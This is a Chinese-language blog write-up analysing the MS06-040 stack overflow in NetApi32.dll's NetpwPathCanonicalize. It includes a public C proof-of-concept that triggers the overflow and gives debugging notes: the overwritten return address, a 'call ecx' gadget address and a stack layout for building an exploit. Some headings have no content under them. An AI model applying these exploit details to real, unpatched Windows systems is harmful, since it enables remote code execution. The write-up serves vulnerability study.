经典栈溢出之MS060-040漏洞分析
找了好久才找到Win 2000 NetApi32.dll样本,下面我对这个经典栈溢出进行一下分析,使用IDA打开NetApi32.dll,问题函数:NetpwPathCanonucalize。实验环境:win xp sp3,ollydbg,IDA。exp编译工具:VC++ 6.0
其中的子函数存在溢出:
汇编代码注释:
两个溢出点,但是第一个无法利用:
找到一个网上的POC:
int main() { char Str[0x320]; char lpWideCharStr[0x440]; int arg_8 = 0x440; char Source[0x100]; long arg_10 = 44; HINSTANCE LibHandle; MYPROC Func; char DllName[] = "./netapi32.dll"; LibHandle = LoadLibrary(DllName); if( LibHandle == NULL) { MessageBox(0, "Can't Load DLL!", "Warning", 0); FreeLibrary(LibHandle); } Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize"); if ( Func == NULL ) { MessageBox(0, "Can't Load Function Address!", "Warning", 0); FreeLibrary(LibHandle); } memset(Source, 0, sizeof(Source)); memset(Source, 'b', sizeof(Source)-2); memset(Str, 0, sizeof(Str)); memset(Str, 'a', sizeof(Str)-2); (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0); FreeLibrary(LibHandle); return 0; }
动态调试:找到函数返回地址被覆盖的位置。
不仅找到了覆盖的返回地址,同时发现ecx指向栈顶
寻找call ecx硬编码FFD1:
根据搜集到的信息:
栈空间的起始地址为0012F258
0x0012F258 bbbbbbbbb
0x0012F348 bbbbbbbbbbbbbb
0x0012F358 aaaaaaaaaaaaa
0x0012F670 \xc2\x7b\x19\x75
0x0012F674 aa
0x0012F66C ebp
0x0012F670 返回地址
call ecx 0x75197bc2
根据POC编写exp,测试:
本文章属于原创作品,欢迎大家转载分享,禁止修改文章的内容。尊重原创,转载请注明来自:七夜的故事 http://www.cnblogs.com/qiyeboy/